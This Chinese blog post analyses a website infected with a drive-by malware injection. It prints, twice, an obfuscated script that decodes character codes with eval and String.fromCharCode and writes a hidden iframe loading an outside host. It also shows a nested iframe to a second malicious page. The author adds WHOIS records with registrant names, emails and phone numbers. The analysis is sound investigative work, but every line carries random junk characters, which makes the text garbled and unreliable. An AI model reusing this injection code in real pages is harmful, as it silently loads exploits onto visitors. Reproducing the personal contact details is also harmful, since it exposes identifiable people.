首发在我的博客里面，
hpU2 R ##~*># http://www.areway.cn/?p=175 gCyW Vp {z|;Xi ::" +
nF'a( 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
K(aJi,e> y|wc ,n%L> <script>t=’60,105,102,114,97,109,101,
z;y:9l 32,115,114,99,61,104,116,116,112,58,47,47,
R
LD`O9#j 102,114,101,101,46,117,45,117,117,117,46,99,
}NB}"%2 110,47,101,114,114,111,114,46,104,116,109,
D_Bb?o5 32,119,105,100,116,104,61,49,48,48,32,104,
5 (A5Y-B 101,105,103,104,116,61,48,62,60,47,105,102,
J`2"KzR0w" 114,97,109,101,62′;
!F?XLekTi t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
qg rg CJ 63A}TBC <script>t=’60,105,102,114,97,109,101,32,115,
q:g2Zc'Y~W 114,99,61,104,116,116,112,58,47,47,102,114,
W6Y@U$P#G 101,101,46,117,45,117,117,117,46,99,110,47,
C`q@X(_ 101,114,114,111,114,46,104,116,109,32,119,
%; D.vKoh 105,100,116,104,61,49,48,48,32,104,101,105,
g&{9VK6. 103,104,116,61,48,62,60,47,105,102,114,97,
4"Hye&O 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
`/_G$_ document.write(t);</script>
GA Am0; aFLO{t r` <html xmlns=”
H$6`{l x, http://www.w3.org/1999/xhtml N;[>,0&z “>
'}9JCJ <head>
(P `3 @H <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
=)7s $
p <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
)(@Hd <title>首页 - 爱生活家庭网
9HX =T% zL J/5& 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
> +[&3u 转换字符串后的大概内容是（谁点击后果自付）：
Ot`VR&} <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
,\@O(;
mF ^,]B@ t2 查询玉米u-uuu.cn的详细信息：
znHnVY ll( Domain Name: u-uuu.cn
`[n(" 7, ROID: 20070901s10001s64972306-cn
_l1 NKk Domain Status: ok
)Dz+X9;g+ Registrant Organization: 王雷
plZ>0 3(6Q Registrant Name: 王雷
?y!E-& Administrative Email:
czlovexs@126.com v En4L0D Sponsoring Registrar: 北京万网志成科技有限公司
[0D
Et Name Server:ns.yovole.com
:Q@&5!]>d Name Server:ns1.yovole.com
i vz{L- Registration Date: 2007-09-01 17:54
p*P)KP Expiration Date: 2008-09-01 17:54
k%G1i-] 4 最后PING了一下地址 都没有什么….
cA:*V|YV ` { . ?/) 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
Kx%Sku<F' <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
rX1QMR7? <script language=”javascript” src=”
@|tL8 ? http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script fX|Y;S-@+ >
a.zpp' cEb 这个玉米应该有可能是木马作者的：
P $-X)c$& foafau.info的详细信息：
z+>}RT] Access to INFO WHOIS information is provided to assist persons in
piZJJYv t determining the contents of a domain name registration record in the
9U%N@Dq`Z Afilias registry database. The data in this record is provided by
A \.GV1 Afilias Limited for informational purposes only, and Afilias does not
9*(aU z9j guarantee its accuracy. This service is intended only for query-based
% p 0xM access. You agree that you will use this data only for lawful purposes
>HS W]"k and that, under no circumstances will you use this data to: (a) allow,
C;vtY[} < enable, or otherwise support the transmission by e-mail, telephone, or
)d>!"JB- facsimile of mass unsolicited, commercial advertising or solicitations
:dqn h to entities other than the data recipient’s own existing customers; or
J`^I./ (b) enable high volume, automated, electronic processes that send
#&7}-"Nd queries or data to the systems of Registry Operator, a Registrar, or
eh5gjSqx Afilias except as reasonably necessary to register domain names or
P- >y_4O modify existing registrations. All rights reserved. Afilias reserves
^R@j=_8} the right to modify these terms at any time. By submitting this query,
=%BZ9,l you agree to abide by this policy.
|x-S&- Domain ID:D22418703-LRMS
x
a06i# Domain Name:FOAFAU.INFO
E2{FK)qT Created On:20-Nov-2007 16:05:42 UTC
<|Pun8j Last Updated On:20-Nov-2007 16:05:44 UTC
q+ vx_4 Expiration Date:20-Nov-2008 16:05:42 UTC
x3"#POp Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
.?Gd'Lp Status:CLIENT DELETE PROHIBITED
g'm+/pU)w) Status:CLIENT RENEW PROHIBITED
'&|=0TDd+ Status:CLIENT TRANSFER PROHIBITED
9 ^p;UA Status:CLIENT UPDATE PROHIBITED
8U V mv=T Status:TRANSFER PROHIBITED
i|m3mcI%2 Registrant ID:GODA-040110615
6<ZkJ:= Registrant Name:liu hong
;{" +g)u Registrant Organization:
ID G}ZlG Registrant Street1:beijing
d|yAs5@ Registrant Street2:
u9EgdpD Registrant Street3:
jYhB
+| Registrant City:beijing
`u&Zrdr , Registrant State/Province:
& J2M1z% Registrant Postal Code:100000
&mtJ Rfnu Registrant Country:CN
6gs0 1c,BA Registrant Phone:+86.860108888777
*N<&GH(j Registrant Phone Ext.:
&E=>Hj(dTG Registrant FAX:
LMAE)]N Registrant FAX Ext.:
N/K. %<h Registrant Email:bbbshiji@163.com
t8+X %-r Admin ID:GODA-240110615
[+DW >Et Admin Name:liu hong
M%kO7>h8 Admin Organization:
ptZ <ow& Admin Street1:beijing
ktpa U,% Admin Street2:
2P @sn!*{1 Admin Street3:
[6XF=L,! Admin City:beijing
Yd~X77cv Admin State/Province:
]h
%Wiw Admin Postal Code:100000
o_^ ?n[4 Admin Country:CN
Tap.5jHL Admin Phone:+86.860108888777
d!
LE{ Admin Phone Ext.:
@-!}BUs? Admin FAX:
VeQg -#&I Admin FAX Ext.:
3 C<L Admin Email:bbbshiji@163.com
l.NEkAYPmH Billing ID:GODA-340110615
4k@5/5zsM Billing Name:liu hong
#kaY0M Billing Organization:
n74V|b6W Billing Street1:beijing
#/<&*Pu5t Billing Street2:
EKsT~SS Billing Street3:
@8pp EFw Billing City:beijing
&b fA.&
` Billing State/Province:
n' q4 Billing Postal Code:100000
5?F__Hx*2 Billing Country:CN
.G#8a1# Billing Phone:+86.860108888777
zPj HsulK Billing Phone Ext.:
R&BTA Billing FAX:
j+uLV{~g6 Billing FAX Ext.:
n4R(.N 00 Billing Email:bbbshiji@163.com
Ke 2ccN Tech ID:GODA-140110615
)]H-BIuGm Tech Name:liu hong
f>UXD Tech Organization:
K)DDk9* Tech Street1:beijing
m0;CH/D0 Tech Street2:
;E 3>ay6m8 Tech Street3:
9{5& ^RbCp Tech City:beijing
to DG7XN} Tech State/Province:
zU
g E~ Tech Postal Code:100000
UVd 7 JGR Tech Country:CN
#0P$M!% Tech Phone:+86.860108888777
noml8o Tech Phone Ext.:
0dGAP
Tech FAX:
vnM@QfN Tech FAX Ext.:
Hn%xDJ' Tech Email:bbbshiji@163.com
/7|V+6jV Name Server:NS27.DOMAINCONTROL.COM
~l]ve,W[ Name Server:NS28.DOMAINCONTROL.COM
mR?5G: W~R Name Server:
.ZVUd84 B Name Server:
}}\vV} s Name Server:
"J [ K 3 Name Server:
B1>/5hV} Name Server:
$ us]35Z3 Name Server:
"NXB$a!: Name Server:
y}My.c Name Server:
-y8`yHb_ Name Server:
l0PZ`m+;j Name Server:
&3J_ ^210 Name Server:
w~"KA 6 ^ -xEXN[\S 接着下载每个文件里面的代码：
}NzpiY9 一步一步看..
`lO[x.[ 
XBb~\p3y 
B&[M7i 
}%'?p<^ M 
\KQ71yqY 
g1W.mAA3B 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
